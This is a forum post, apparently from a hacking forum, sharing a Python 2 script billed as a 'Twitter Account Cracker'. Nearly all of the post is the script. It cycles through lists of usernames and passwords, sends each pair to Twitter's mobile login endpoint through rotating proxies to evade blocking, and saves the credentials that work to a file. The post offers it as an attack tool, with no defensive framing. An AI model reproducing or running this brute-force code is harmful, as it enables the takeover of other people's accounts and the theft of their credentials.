• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

Phyton Twitter Account Cracker

Status
Not open for further replies.

sQuo

~ KillmeMories ~
Shadow
User
Joined
Oct 16, 2011
Messages
5,851
Reputation
0
Reaction score
22,904
Points
688
Credits
0
‎13 Years of Service‎
24%
Usage: ./script.py

Code:
>#!/usr/bin/env python

import urllib,sys

from hashlib import md5

if len(sys.argv) != 4:
   print "Usage: ./TWCrack.py   "
   sys.exit(0)

print "+--Twitter Cracker by SUCHTI--+"

try:
   users = open(sys.argv[1],"r")
except:
   print "Could not open: %s" % sys.argv[1]
   sys.exit(0)

good  = open("GOOD_TWITTER.txt","a")

good_cnt = 0
usr_cnt  = 0

for user in users:
   user = user.rstrip("\n").rstrip("\r")
   print "Current User: %s " % user
   try:
       passw = open(sys.argv[2],"r")
   except:
       print "Could not open: %s" % sys.argv[2]
       sys.exit(0)
   try:
       proxy = open(sys.argv[3],"r")
   except:
       print "Could not open: %s" % sys.argv[3]
       sys.exit(0)
   for pw in passw:
       pw = pw.rstrip("\n").rstrip("\r")
       print "Current: "+user+" : "+pw
       try:
           proxies = {"http" : 'http://'+proxy.readline().rstrip("\n").rstrip("\r")}
           params = urllib.urlencode({'authenticity_token': '225252248f02824a001b', 'username': user, 'password': pw})
           f = urllib.urlopen("https://mobile.twitter.com/session",params,proxies)
           tmp = f.read()
           f.close()
           if md5(tmp).hexdigest() == "4c9affa6252fdb957ab1ada50b688b20":
               good.write(user+":"+pw+"\n")
               good.flush()
               good_cnt = good_cnt + 1
               break
       except:
           print "Connection Error... Make sure you have a filtered Proxylist!"
   passw.close()
   proxy.close()
   usr_cnt = usr_cnt + 1

good.close()
users.close()

print "All Done!"
print "+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+"
print str(good_cnt)+" of "+str(usr_cnt)+" Passwords found!"
print "USER:PASS written to GOOD_TWITTER.txt"
print "+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+"
 
Status
Not open for further replies.
Back
Top